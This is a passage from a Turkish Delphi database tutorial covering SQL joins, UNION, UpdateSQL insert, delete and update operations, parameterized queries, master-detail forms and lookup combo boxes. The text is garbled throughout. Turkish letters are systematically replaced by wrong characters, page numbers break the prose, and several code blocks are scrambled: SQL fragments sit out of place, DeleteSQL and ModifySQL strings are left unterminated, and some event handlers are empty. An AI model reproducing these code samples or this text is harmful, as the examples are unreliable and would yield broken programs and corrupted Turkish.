Outer Join Komutu øle Koúul Koymak:
Farklı iki tabloda aynı olan sütunlar için birincide yer alıp ikincide bulunmayan
kayıtları listelemek için kullanılan komuttur.
begin
Query1.Close;
Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI,
SERVIS.FATURATUTARI From SERVIS LEFT OUTER JOIN MAGAZA
ON(MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI)');
Query1.Open;
end;
Yukarıdaki “SQL” sogusunu içeren programı çalıútırırsanız aúa÷ıdaki úekilde
kayıtların yer aldı÷ı bir tablo görüntüsüyle karúılaúırsınız.
99
veya
begin
Query1.Close;
Query1.SQL.Add('Select
SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI,SERVIS.FATURATUTARI
From SERVIS RIGHT OUTER JOIN MAGAZA
ON(MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI)');
Query1.Open;
end;
Bu sorguda “RIGHT OUTER JOIN” kullanıldı÷ına dikkat ediniz. Programı
çalıútırdıktan sonraki tablo görüntünüz yukarıda verilmiútir.
100
Union Komutunu Kullanarak Tabloları Birleútirmek:
Bu komutu kullanarak iki farklı select yapısı oluúturabilirsiniz. Oluúturaca÷ınız
iki sorguya ait kayıtlar alt alta eklenerek tek tabloda gösterilecektir.
begin
Query1.Close;
Query1.SQL.Add('Select MAGAZA.MAGAZAADI
UNION Select SERVIS.MAGAZAADI From SERVIS');
Query1.Open;
end;
From MAGAZA
101
Tablo Yapısında De÷iúiklik Yapan Sorgular:
ùu ana kadar yapmıú oldu÷umuz tüm sorgular seçme sorgularıydı ve “Select”
ifadesiyle baúlıyorlardı. Bu tür seçme sorguları tablo yapısında herhangi bir
de÷iúiklik yapmazlar. Sadece iúimize yarayacak olan kayıtları listeleme
iúleminde kullanılırlar.Bu aúamadan sonraki sorgu komutları ise direk tablo da
de÷iúiklik yapacaklardır, bu yüzden komutları kullanırken çok dikkatli olmanız
gerekecektir. Aúa÷ıda tablo yapısında de÷iúiklik yapacak olan sorgular tek tek
incelenmektedir.
Sorgu ile kayıtlar üzerinde de÷iúiklik yapmak için (ekleme,silme,de÷iútirme)
“UPDateSQL” kontrolü kullanılmaktadır.
UpdateSQL Kontrolü:
“BDE” Yapra÷ında bulunan bu kontrol sayesinde, “SQL” komutlarını
kullanarak tablonuzda istedi÷iniz iúlemi yapabilirsiniz. Kayıt ekleme,silme veya
kayıt de÷iútirme iúlemleri için kullanılmaktadır.
x UpdateSQL1.DeleteSQL.Add
Tablodan kayıt silmek için kullanaca÷ınız “SQL” komutunu bu özelli÷e
aktarmalısınız.
//Kayıt Sil
begin
UpdateSQL1.DeleteSQL.Add('Delete
From
MAGAZA
end;
Where
x UpdateSQL1.ExecSQL()
SQL Komutunu yazmak kaydın silinmesi için yeterli de÷ildir. Ayrıca sorgu
komutunu uygulamak için bu methoda ihtiyacınız olacaktır.
begin
From
MAGAZA
UpdateSQL1.ExecSQL(ukDelete);//Uygula
end;
102
Where
Sorguyla Kayıt Silmek(Delete):
Aúa÷ıdaki örnekte sorgu komutları kullanılarak tablodan kayıt silinmektedir.
Silinen kayıtlar úayet Trasaction kullanılmazsa artık geriye alınamayacaktır.
Hatırlatalım sorguyla kayıt silme iúleminde kritere uyan tüm kayıtlar
silinecektir. Öncelikle verilen tasarımı oluúturunuz.
“Query-DataSource-DataGrid” nesneleri için daha önceden gösterilen ayarları
yaparak “MAGAZA” tablosundaki tüm kayıtların “DataGrid” nesnesinde
gösterilmesini sa÷layın.
Daha sonra formun üzerine bir adet “BDE” Yapra÷ında yer alan (“Transaction”
iúlemi için) “DataBase” kontrolünden yerleútirin (hiç bir özelli÷ini
de÷iútirmenize gerek yok tamamını kodla yapaca÷ız).
Son adım olarak formunuza bir adet “BDE” Yapra÷ında yer alan “UpdateSQL”
kontrolünden yerleútirerek aúa÷ıdaki kodları programınıza ekleyiniz.
Burada hatırlatmakta yarar var. øster kodla yapın (kodu her zaman tercih
etmelisiniz), isterseniz “Object Inspector” penceresinden, “UpdateSQL”
kontrolüne eklenecek sorgu komutunun (ekleme-silme-de÷iútirme) hangi
“Query” kontrolünün gösterdi÷i tabloya yansıyaca÷ı “UpdateObject”
özelli÷iyle belirlenmelidir. Aksi takdirde yapaca÷ınız iúlemlerden bir sonuç
alamayacaksınız.
103
//Kontrolleri ayarla
begin
Database1.Connected:=true;
DataBase1.TransIsolation:=tiDirtyRead;//ayarlayın
Query1.UpdateObject:= UpdateSQL1;//yapın
Query1.Open;
end;
//Sil
begin
Query1.CachedUpdates:=true; //kesinlikle yapın
Try //hata oluúmazsa sil
From
MAGAZA
UpdateSQL1.ExecSQL(ukDelete);//Uygula
Database1.Commit;//Tabloya yaz
ShowMessage('Kayıt silindi');
Except//Hata oluúursa iptal et
Database1.Rollback;//iptal et
end;
end;
104
Where
begin
if Database1.InTransaction=False Then //transaction yoksa baúlat
Database1.StartTransaction;//Transactionu baúlat
end;
Programı çalıútırıp “Sil” Buttonuna tıklarsanız “MIGROS” Ma÷azasına ait
kaydın silindi÷ini göreceksiniz. En son ekran görüntüsü aúa÷ıda verilmiútir.
x UpdateSQL1.InsertSQL.Add
Kayıt ekleme iúlemi için kullanaca÷ınız SQL Sorgusunu bu özelli÷e
aktarmalısınız.
//Ekle
begin
UpdateSQL1.InsertSQL.Add('Insert Into
MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES
("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")');
end;
Yukarıdaki kod blo÷u kayıt eklemek için yeterli de÷ildir. Kayıt silme iúleminde
yaptı÷ımız gibi aúa÷ıdaki parametreyede de÷er aktarmamız gerekecektir.
105
x UpdateSQL1.ExecSQL(ukInsert)
Sorgu komutunun tabloya yansımasını sa÷layan methodudur. Kayıt ekleme
iúlemi yapıldı÷ı için “ukInsert” parametresinin aktarılması gerekmektedir.
begin
UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA (MAGAZAADI,
ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI",
"2163521425","YUKSEL INAN","ISTANBUL")');
UpdateSQL1.ExecSQL(ukInsert);//tabloya yansıt
end;
Sorguyla Tabloya Kayıt Eklemek:
Aúa÷ıdaki kod blo÷unu kullanarak kolayca tablonuza kayıt ekleyebilirsiniz.
Örne÷i lütfen dikkatlice inceleyiniz.
//Bu ayarları yapın
begin
Query1.UpdateObject:=UpdateSQL1;//yapın
Query1.Open;
end;
begin
Database1.StartTransaction;//Baúlat
end;
begin
try
UpdateSQL1.ExecSQL(ukInsert);//tabloyayansıt
Database1.Commit;//Uygula
ShowMessage('Kayıt Eklendi');
106
except
ShowMessage('Ekleme øúlemi øptal Edildi');
end;
end;
Programı çalıútırıp “Ekle” isimli buttona tıklarsanız yukarıdaki pencerede
oldu÷u gibi (daha önceden silmiútik)“MIGROS” kaydı tekrar tabloya
eklenecektir.
x UpdateSQL1.ModifySQL.Add
Kayıt de÷iútirme iúlemini gerçekleútirebilmeniz için gerekli “SQL” kodunu
aktarabilece÷iniz özelli÷idir.
begin
UpdateSQL1.ModifySQL.Add('Update MAGAZA Set
MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"');
end;
Yukarıdaki SQL komutu sayesinde tablodaki tüm “SOK” ma÷azaları
“BAKKALIM” olarak de÷iúecektir. Yanlız aúa÷ıdaki parametreyide di÷erlerinde
oldu÷u gibi eklemelisiniz.
107
x UpdateSQL1.ExecSQL(ukModify)
SQL komutunun tabloya yansıması için gerekli olan parametresidir. Kayıt
de÷iútirme iúlemi yapaca÷ı için “ukModify” de÷eri aktarılmıútır.
begin
UpdateSQL1.ExecSQL(ukModify);//tabloya yansıt
end;
ùimdi de yukarıdaki tasarımımız için “De÷iútir” dü÷mesinin kodunu verelim.
begin
Query1.Open;
end;
begin
Database1.StartTransaction;
end;
//De÷iútir
begin
try
UpdateSQL1.ExecSQL(ukModify);//De÷iúikli÷i yansıt
ShowMessage('Kayıt De÷iútirildi');
except
ShowMessage('De÷iútirme øúlemi øptal Edildi');
end;
end;
108
Programı çalıútırıp “De÷iútir” isimli buttona tıklarsanız aúa÷ıdaki pencerede
gösterildi÷i gibi “SOK” isimli ma÷azalar “BAKKALIM” ismiyle
de÷iútirilecektir.
ùimdide programa ait tüm kod blo÷unu aúa÷ıda veriyorum. Örne÷i çok
dikkatlice inceleyiniz.
//Bu ba÷lantıları yapın
begin
Query1.Open;
end;
//Sorguyla Kayıt Sil
begin
try
UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA Where
MAGAZAADI="MIGROS"');//Ma÷aza adı MIGROS olanları sil
UpdateSQL1.ExecSQL(ukDelete);//Tabloya yansız
109
ShowMessage('Kayıt silindi');
except
end;
end;
begin
Database1.StartTransaction;//Transactionu baúlat
end;
begin
try
UpdateSQL1.ExecSQL(ukInsert);//Ekle
ShowMessage('Kayıt Eklendi');
except
ShowMessage('Ekleme øúlemi øptal Edildi');
end;
end;
begin
try
UpdateSQL1.ExecSQL(ukModify);
except
end;
end;
Programı çalıútırıp tüm dü÷meleri teker teker deneyin. Tamamının baúarılı bir
úekilde gerçekleúti÷ini göreceksiniz. Yaptı÷ınız iúlemden sonra “DataGrid”
nesnesi içerisinde verilerin güncellenmedi÷i (Kapatıp açarsanız güncellenir)
110
dikkatinizi çekmiú olmalıdır. Bu eksikli÷i gidermek için aúa÷ıdaki gibi iki
satırlık kodu eklerseniz probleminiz hallolacaktır.
begin
try
UpdateSQL1.ModifySQL.Add('Update
MAGAZA
UpdateSQL1.ExecSQL(ukModify);
Query1.Close;
Query1.Open;//kayıtların güncellenmesi içinekleyin
except
end;
end;
Set
Ben sadece “Kayıt De÷iútirme” iúlemine ekledim. Siz di÷er üç dü÷meye daha
ekleyebilirsiniz.
111
Query Kontrolüne Parametre De÷eri Göndermek:
Ço÷u durumda tablonuzda yer alan tüm kayıtları de÷ilde, sadece sizin iúinize
yarayan kayıtları listelemek isteyeceksiniz. Böyle durumlarda “Query”
kontrolüne bana sadece gönderece÷im parametre de÷erine uyanları listele
demelisiniz. Bu iúlemi yapmak hiçte zor de÷il. øúin içerisine parametre de÷eri
girdi÷i zaman aúa÷ıdaki özellik ve methodlarıda ö÷renmeniz gerekmektedir.
x Query1.SQL.Clear
Var olan “Query” yi kapatıp tüm parametreleri temizlemek için kullanılan
methoddur.
begin
Query1.SQL.Clear;//parametreleri temizle
end;
x Query1.SQL.Add
Bu method daha önceden anlatılmıútı. Fakat burada hem sorguyu hemde
parametreyi yarataca÷ımız için tekrar göstermemiz gerekiyor.
begin
if Key=#13 Then
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG');
end;
end;
Kod satırında yer alan (Where MAGAZAADI=:MAG) bölümü hem parametreyi
hemde sorgu koúulunu belirlemektedir. Daha sonraki adımlarda bu parametreye
programınızın içerisinden kolayca de÷er gönderebilirsiniz. Sorgu içerisinde
parametre belirlemek için “=:” karakterleri kullanılmaktadır (aslında buradaki =
kendi görevini yapıyor ama beraber düúünmenizin bir sakıncası yor). ølk
parametreyi “params[0]” veya ismi ile kullanabilirsiniz. økinci parametreyi
yaratırsanız oda params[1] olacaktır.
112
x Query1.Params[]
Sogu komutu içerisinde yaratılan parametrelere de÷er göndermek için kullanılan
methoddur. Oluúturulma sırasına göre ilk parametre “Params[0]” ikinci
parametrede “Params[1]” de÷iúkenleriyle adlandırılacaktır.
begin
if Key=#13 Then
begin
Query1.SQL.Clear;//temizle
Query1.Params[0].AsString:=Edit1.Text;//parametreye de÷er al
end;
end;
ùimdi aúa÷ıdaki tasarımı oluúturup (“Query kontrolüyle oluúturun) yukarıdaki
özellik ve methodları örnek üzerinde deneyelim.
begin
Query1.Close;
Query1.SQL.Add('sELECT * fROM servis');
Query1.Open;
end;
113
begin
if Key=#13 Then//enter tuúuna basarsa
begin
Query1.SQL.Clear;
Query1.Params[0].AsString:=Edit1.Text;//parametreye de÷er yolla
Query1.Open;
end;
end;
Kodları ekleyip programızı çalıútırın. “Edit” kontrolüne ma÷aza ismini girip
“Enter” tuúuna basın. Girdi÷iniz de÷er parametre olarak sorguya gönderilecek,
yazdı÷ınız ma÷aza ismini ait kayıtlar listelenecektir.
x Query1.ParamByName
“Params[]” de÷iúkeni yerine bu özelli÷i kullanarak ta sorgunuza parametre
de÷eri gönderebilirsiniz.
Query1.ParamByName('MAG').AsString:=Edit1.Text;
Yukarıdaki örnekte yer alan kodu aúa÷ıdaki úekilde de÷iútirip uygulamanızı
yeniden çalıútırın.
begin
Query1.Close;
Query1.Open;
end;
begin
if Key=#13 Then
begin
Query1.SQL.Clear;
Query1.ParamByName('MAG').AsString:=Edit1.Text;
Query1.Open;
end;
end;
114
Parametre Olarak Tarih øçerikli De÷iúken Kullanmak:
Parametre olarak kullanaca÷ınız de÷iúkenin de÷eri tarih içerikli olacak ise o
zaman kodlamanızı aúa÷ıdaki úekilde de÷iútirmelisiniz.
//Ba÷lantı iúlemleri yapılıyor
begin
Query1.Close;
Query1.Open;
end;
//Tarih de÷iúkenine göre sorgula
begin
if Key=#13 Then
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where SERVISTARIHI>=:SER');
Query1.ParamByName('SER').AsDate:=StrToDate(Edit2.Text);
Query1.Open;
end;
end;
Programı çalıútırıp “Edit” kontrolüne koúul tarihinizi girip “Enter” tuúuna basın.
Girdi÷iniz tarihten sonra yapılmıú olan tüm servisler listelenecektir.
115
Parametre Olarak Parasal øçerikli De÷iúken Kullanmak:
Parametre de÷eri olarak parasal de÷er kullanacaksanız, aúa÷ıdaki úekilde bir
kodlama yapmalısınız.
//Ba÷lantı için gerekli olan kod satırları
begin
Query1.Close;
Query1.Open;
end;
//Parametreye göre sorgula
begin
if Key=#13 Then
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT');
Query1.ParamByName('FAT').AsCurrency:=StrToCurr(Edit3.Text);
Query1.Open;
end;
end;
116
Birden Fazla Parametre De÷eri Göndermek:
Oluúturaca÷ınız sorguda birden fazla parametre de÷eri kullanacaksanız.
Aúa÷ıdaki úekilde bir kodlama kullanmalısınız.
begin
Query1.Close;
Query1.Open;
end;
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT and
FATURATUTARI<=:FAT2');
Query1.Params[0].AsCurrency:=StrToCurr(Edit3.Text);//ilk parametre
Query1.Params[1].AsCurrency:=StrToCurr(Edit4.Text);//ikinci parametre
Query1.Open;
end;
Programı çalıútırıp “Edit” kontrollerine parasal içerikleri girin. Ardından
“Göster” isimli buttona tıklayın. Sadece yazmıú oldu÷unuz kriterlerin arasındaki
fatura tutarları listelenecektir. Di÷er fatura tutarlarına ait satırlar
listelenmeyecektir.
117
Opsiyonel Parametreli Sorgu Oluúturmak:
Bu bölümde yine sorgumuz için iki adet “Edit” kontrolü kullanaca÷ız. Fakat
içlerinden bir tanesi boú oldu÷u zaman di÷er parametreye göre, ikiside dolu
olursa iki kriteride dikkate alarak sorgulama yapaca÷ız. Öncelikle aúa÷ıdaki
tasarımı oluúturunuz.
begin
Query1.Close;
Query1.Open;
end;
//opsiyonel sorgulama
begin
if (Edit3.Text='') and (Edit4.Text='') Then
ShowMessage('Lütfen En Az Bir Parametre Giriniz')
else if Edit3.Text='' Then
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where FATURATUTARI<=:FAT');
Query1.Params[0].AsCurrency:=StrToCurr(Edit4.Text);
Query1.Open;
end
else if Edit4.Text='' Then
begin
118
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT');
Query1.Open;
end
else
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT
and FATURATUTARI<=:FAT2');
Query1.Open;
end;
end;
Programı çalıútırın. ùayet iki “Edit” kutusuda boú bırakılırsa “Lütfen En Az Bir
Parametre Giriniz” uyarısı kullanıcıya iletilecektir. ùayet birinci kontrol
doldurulup ikincisi boú bırakılırsa bu durumda ikinci kontrol hiç dikkate
alınmayacak, birinci parametre de÷erinin üzerinde fatura tutarı olan kayıtlar
listelenecektir. Aynı úekilde birinci kontrol boú bırakılıp ikinci parametre de÷eri
girilirse o zaman birinci parametre dikkate alınmayarak sadece ikinci
parametreye aktarılan tutarın altındaki kayıtlar listelenecektir. E÷er iki
parametreyede de÷er girilirse bu defa parametre de÷erlerinin arasındaki fatura
tutarlarının yer aldı÷ı kayıtlar listelenecektir.
119
Parametreyi “Like” Komutuyla Beraber Kullanmak:
String içerikli sütunlar içerisinde metin parçası aratabilirsiniz. Bilhassa sözlük
türü uygulamaların örnek gösterilebilece÷i bu yapı yeri geldi÷i zaman çok
kullanıúlı olabilmektedir. Aúa÷ıdaki örnekte “Edit” kontrolü içerisine girilen
metin parçası “MAGAZAADI” sütunu içerisinde aratılmaktadır.
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like:MAG');
Query1.Params[0].AsString:=Edit1.Text+'%';
Query1.Open;
end;
Bu örnekte “G” harfine basıldı÷ı zaman “G” ile baúlayan tüm ma÷aza isimleri
listelenmektedir (GIMA-GURALLAR-GURSOYLAR). “I” harfinede basılırsa
sadece “GIMA” ma÷azasına yapılmıú servisler listelenecektir. ùayet herhangi
bir yerinde arama yaptıracaksanız kodu aúa÷ıdaki úekilde de÷iútiriniz.
begin
Query1.SQL.Clear;
Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like:MAG');
Query1.Params[0].AsString:='%'+Edit1.Text+'%';//% joker olarak kullanılır.
Query1.Open;
end;
120
BÖLÜM 3
TABLOLAR ARASI øLøùKøLENDøRME
121
122
Birden Fazla Tablo øle Çalıúmak:
Çok fazla sütuna sahip tablolar yerine, daha az sütunlu ve fazla tablo ile (tabiiki
mümkün olabiliyor ise) çalıúmak performansınızı etkileyen çok önemli bir
faktördür. Tabloları bölme iúlemi rasgeli bir úekilde yapılamaz. Dikkat etmeniz
gereken hususlar olacaktır. Böldü÷ünüz iki tablo arasında iliúki kurabilece÷iniz
bir sütunun muhakkak olması gerekecektir. Ayrıca iliúki yarataca÷ınız sütunların
iki tabloda da indexlenmesi gerekecektir. (Index lerin Primary veya Secondary
olması önem arz etmez. Ama genellikle statik bilgilerin yer aldı÷ı tabloda
primary, dinamik bilgilerin yer aldı÷ı tabloda da secondary index kullanmak en
iyi
ve do÷ru çözümdür (Bu tür iliúkiler Bire-Çok lu iliúki olarak
adlandırılmaktadır).
ùimdi aúa÷ıdaki iki tabloyu oluúturarak, iliúkili tablolarda iúlemlerin nasıl
yaptırılabilece÷ini açıklayalım.
Tablo1:MAGAZA TABLOSU
Type(Tipi)
MAGAZAADI
A
25
ADRES
A
25
TELEFON
A
15
MUDUR
A
25
SEHIR
A
25
Key(Primary ind)
*
Tablo2:SERVIS TABLOSU
Type(Tipi)
SIRANO
+
Otomatik artar
MAGAZAADI
A
25
SERVISTARIHI
D
GIDENFIRMA
A
25
ARIZASEBEBI
A
25
FATURATUTARI
$
Key(Primary ind)
*
Secondary Index
Yukarıdaki iki tablo yerine tek bir tablo yapsaydınız, bir çok sütuna gereksiz
verileri girmiú olacaktınız, haliylede hem sıkıcı olacaktı, hemde tablonuzu boú
yere úiúirmiú olacaktınız. Tabloların fazla büyümesi performansı etkileyen çok
önemli bir faktördür.
øki adet tablomuz var. Bu tablolardan birincisi ma÷azalara ait statik bilgilerin
tutuldu÷u ve ma÷aza adının “Primary” index olarak tanımlandı÷ı “MAGAZA”
tablosu. økincisi ise ma÷azalara ait dinamik bilgilerin yer aldı÷ı ve ma÷aza adı
sütununun “Secondary” index olarak tanımlandı÷ı “SERVIS” tablosu. Bu iki
123
tablo arasında indexli sütunlar kullanılarak “Master-Detail” form yapısı
oluúturulacaktır (iliúki yaratılacaktır).
Uyarı:Paradox tablolarında “primary” index oluúturmadan “secondary”
index yaratamazsınız.
Aúa÷ıdaki adımları izleyiniz.
“File->New-Other” adımlarını izleyerek açılan pencereden “Business”
yapra÷ını aktifleútirin.
“DataBase Form Wizard” seçene÷ini seçip “OK” Buttonuna tıklayın.
Açılan pencerede, “Form Options” kısmından “Create a master/detail
form” seçene÷ini,”Dataset Options” kısmından da “Create a form using
Ttable object” seçene÷ini iúaretleyip Next dü÷mesine basın.
Karúınıza ilk olarak “Master” tablonuzu seçebilece÷iniz pencere
gelecektir. Bu pencere aliasınızın (gazi) referans gösterdi÷i klasörün
içerisinde yer alan “MAGAZA” tablosunu seçerek “Next” dü÷mesine
tıklayın.
Bu adımda karúınıza gelen pencereden master tablonuzda, formun üzerine
gözükmesini istedi÷iniz sütunları belirlenizi isteyecektir. Formda
gözükmesini istedi÷iniz sütunları “Available Field” listesinden “Ordered
selected Fields” listesine aktarıp “Next” dü÷mesine basın (biz bütün
sütunları aldık).
Açılan yeni pencereden “Vertically” iúaret dü÷mesini seçerek “Next”
dü÷mesine tıklayın.
124
Yeni bir pencere açılacaktır bu pencereden “Left” seçene÷ini seçip “Next”
dü÷mesine tıklayın. Karúınıza aúa÷ıdaki pencere açılacaktır.
Bu pencereden “Detail” olarak kullanaca÷ınız tabloyu seçmenizi
isteyecektir. “SERVIS” tablosunu seçerek “Next” dü÷mesine tıklayın.
Açılan yeni pencere “Detail” tablonuzdan formun üzerinde gözükmesini
istedi÷iniz sütunları seçmenizi isteyecektir (Biz SIRANO hariç tüm
sutunları dahil ettik). Next dü÷mesine tıklayın.
Açılan yeni pencereden “In a Grid” iúaret dü÷mesini seçerek “Next”
buttonuna tıklayın. Aúa÷ıdaki pencere açılacaktır.
125
Bu pencerede “Available Indexes” listesinde “Detail” tablosundaki tüm
index ler gözükecektir. “MAGAZAINDEX” (ma÷azaadı sütunu için
tanımlanan secondary index) olanını seçin. “Detail Fields” listesinde
otomatik olarak gözükecektir.
“Detail Fields” listesinden “MAGAZAINDEX” ve “Master Fields”
listesinden de “MAGAZA ADI” sütununu seçip “Add” buttonuna
tıklayın.
Yarattı÷ınız iliúki “Joined Fields” listesinde aúa÷ıdaki gibi
oluúturulacaktır.
Next dü÷mesine basın.
“Finish” deyip wizardı bitirin.
Yukarıdaki adımlardan sonra “Delphi” sizlere “Master-Detail” içeri÷i olan bir
form yapısı oluúturacaktır. Bu yapıda çok önemli bir özellik barınmaktadır.
Master tablonuzdan bir ma÷aza ismini seçti÷iniz zaman “Detail” tablonuzda
(DataGrid içerisinde) sadece o ma÷azaya yapılmıú olan servisleri listeleme
úansını bulacaksınız.
Bu yapının di÷er bir özelli÷ide var olmayan bir ma÷azaya yanlıúlıkla servisin
yapılamayaca÷ıdır. Çünkü “SERVIS” tablosuna kayıt girerken (DataGrid
içerisinden) ma÷aza adını kendisi otomatik olarak belirleyecektir. Haliyle
kullanıcının yapabilece÷i yanlıú isim girme iúlemlerinin önüne geçmiú
olacaksınız.
“Master-Detail” form yapısında “Delphi” sizin yerinize formunuza iki adet
“Table” , iki adet “DataSource”, master tablodaki sütun sayısı kadar “Edit”
126
kontrolü ve “Detail” tablo bilgilerinizi topluca listelemeniz için “DataGrid”
nesnesini yerleútirecektir. Programı çalıútırdıktan sonraki ekran görüntünüz
“DBNavigator” kontrolünde yapaca÷ınız kayıt gezinti iúlemleri “DataGrid”
nesnesindeki kayıtların tamamen de÷iúmesine (seçilen ma÷azaya ait kayıtları
gösterecektir) sebep olacaktır.
Master Detail Form Yapısını Manuel Oluúturmak:
Burada “Master” tablo için yapılan iúlem sadece paradox tablosuna ba÷lantıyı
sa÷lamaktır (Table1-DataSorce1).”Detail” tablosu için (úayet manuel olarak siz
ba÷lantı iúlemini yapacaksanız) aúa÷ıdaki ayarları yapmanız gerekecektir.
Koyu renkte yazılmıú özellikleri, kodla veya “Object Inspector” penceresinden
ayarlamalısınız(“IndexName-MasterFields-MasterSource”). Söylemeye gerek
yo sanırım, “DataSource2” kontrolünüde “Table2” nesnesine ba÷lamalısınız.
127
Master-Detail Tablolarda Kayıt Arama øúlemleri:
Neredeyse bütün projelerinizde kullanaca÷ınız bir uygulama seçene÷idir.
Düúünün yukarıdaki “Master-Detail” yapıda herhangi bir ma÷azaya servis
yapıldı÷ı zaman faturayı nasıl iúleyeceksiniz. øzah edelim, öncelikle “Master”
tablodan ma÷azayı bulaca÷ız, bu ma÷azaya göre “DataGrid” nesnesinde
servisler listelenecek, kaydı da yeni bir servis olarak “DataGrid” nesnesine
ekleyece÷iz.
Yukarıda yapmıú oldu÷unuz form yapısına bir adet “Edit” kontrolü yerleútirerek
aúa÷ıdaki yeni tasarımı oluúturunuz.
Aúa÷ıdaki kod blo÷onu “Edit” Kontrolünün “OnkeyPress” yordamına ekleyiniz.
//Kayıt Bul
Var
ara:Boolean;
begin
if Key=#13 Then
begin
ara:=Table1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);
if ara=false Then
begin
128
end
end;
end;
Programı çalıútırın. Ardından aradı÷ınız ma÷aza ismini girip klavyeden “Enter”
tuúuna basın. “Master” tablonuz o ma÷azayı gösterecek, “Detail” tablonuzda o
ma÷azaya ait yapılmıú servisleri listeleyecektir. Çalıútırıldıktan sonraki form
görüntüsü aúa÷ıda verilmiútir.
Yukarıdaki örnekte “Edit” kontrolü içerisine aradı÷ımız ma÷aza ismi olarak
“MIGROS” de÷erini girip “Enter” tuúuna bastık. Bilgisayarın yaptı÷ı iúlemse
“MIGROS” ma÷azasını “Master tabloda aktifleútirmek, arkasından ona ba÷lı
olarak çalıúan “Detail” tablosunda da “MIGROS” ma÷azasına yapılmıú olan
servisleri listelemek olmuútur. Girece÷iniz faturayı DataGrid nesnesinin en son
satırına ekleyebilirsiniz.
Hatırlatma:”Master-Detail” tablo yapısında iki tabloda da iliúkilendirilecek
olan sütunları index olarak tanımlayın. Aksi takdirde uygulamada bir çok
sıkıntı yaúayabilirsiniz.
129
Lookup øúlemleri
Birbirleriyle iliúkili tablo yapılarında “Lookup” iúlemleri sizlere tahmin
edemeyece÷iniz kadar kolaylıklar sa÷layacaktır. Daha önceden oluúturdu÷umuz
“MAGAZA” ve “SERVIS” tabloları için söyle bir senaryo üretelim. Öncelikle
servis tablosuna girilecek kayıtlarda ma÷aza tablosunda olmayan bir ma÷azanın
bulunması çok kötü sonuçlar do÷uracaktır. Kullanıcı ma÷aza adını girerken
“MIGROS” yerine “MAAGROS” veya “DIA” yerine “DIYA” yazabilir, bu hata
binlerce kaydın girildi÷i tablolarda çok normal karúılanabilir bir durumdur. Ama
isterseniz böyle bir hatanın oluúmasını aúa÷ıda anlataca÷ım yöntemle tamamen
önleyebilirsiniz. “SERVIS” tablosuna girilecek ma÷aza adını kullanıcıya
klavyeden
girdirmeyip,
ekleyece÷iniz bir ComboBox kutusundan
seçtirtebilirsiniz. ComboBox ın açılan penceresindeki de÷erleride “MAGAZA”
tablosunda yer alan “MAGAZAADI” sütunundan aldırabilirsiniz. ùimdi bu
iúlemleri nasıl yapabilece÷inizi detaylı olarak izah etmeye çalıúalım.
DBLookupComboBox Kontrolü:
Baúka bir tablonun (veya Query nin) sütun bilgilerini listelemek için kullanılan
en etkili kontroldür. Ba÷lantı iúlemlerinde kullanaca÷ınız extra özellikleri
x DBLookupComboBox1.DataSource
Bu özellik sayesinde içerisine girilen kayıtların yazdırılaca÷ı kaynak
belirlenebilir (Aynen DBEdit kontründeki özellik gibidir).
begin
DBLookupComboBox1.DataSource:=DataSource2;
end;
x DBLookupComboBox1.DataField
Kontrole girilen içeri÷in kaynakta yazdırılaca÷ı sütunu belirleyen özelli÷idir
(Aynen DBEdit kontrolünde oldu÷u gibi).
begin
DBLookupComboBox1.DataField:='MAGAZAADI';
end;
130
x DBLookupComboBox1.ListSource
Kontrolün içerisinde gösterilecek olan sütun (di÷er tablodaki) bilgilerinin yer
aldı÷ı kayna÷ı belirleyen özelli÷idir (Bu özellik “DBEdit” kontrolünde yoktur).
begin
DBLookupComboBox1.ListSource:=DataSource2;
end;
x DBLookupComboBox1.ListField
øçeri÷in belirtildi÷i kaynakta birden fazla sütun olabilece÷i için hangi sütunla
iliúkilendirilece÷i bu özellikle belirlenmelidir.
begin
DBLookupComboBox1.ListField:='MAGAZAADI';
Table1.Open;
end;
x DBLookupComboBox1.KeyField
ComboBox ın içeri÷inde yer alacak liste de÷erlerinin hangi sütundan alınaca÷ı
bu özellikle belirlenir. “ListField” ile “KeyField” aynı úeyi yapıyor gibi
gözüksede kesinlikle yanlıú bir tesbit. Bu husus için bir sonraki bölüme bakınız.
begin
DBLookupComboBox1.KeyField:='MAGAZAADI';
Table1.Open;
end;
131
ùimdi özelliklerini anlattı÷ımız kontrolleri örnek üzerinde görmeye çalıúalım.
Aúa÷ıdaki tasarımı oluúturunuz (Edit kontrollerini Table1 nesnesine, Table1
nesnesini paradox ta yarattınız servis tablonuza ba÷lamayı untmayınız). Ayrıca
formunuza bir adet “Query” (di÷er tablo ba÷lantısı için kullanılacak) ve bir adet
“DataSource” (Query kontrolüne ba÷lanacak) kontrolü daha eklemeyi
unutmayınız (Ba÷lantı iúlemleri tamamen kodla yapılaca÷ı için bu iki kontrole
properties penceresinden müdahale etmenize gerek yoktur).
Aúa÷ıdaki kod blo÷unuda “Unit” pencerenize ekleyiniz.
begin
Query1.SQL.Add('Select MAGAZAADI from MAGAZA');
Query1.Open;
DataSource2.DataSet:=Query1;
DBLookupComboBox1.KeyField:='MAGAZAADI';
Table1.Open;
end;
Programı çalıútırdıktan sonra kullanıcı “MAGAZAADI” sütunu için ekleyece÷i
veya de÷iútirece÷i kayıtlar da klavyeyi kullanmayacak, sedece açılan listeden
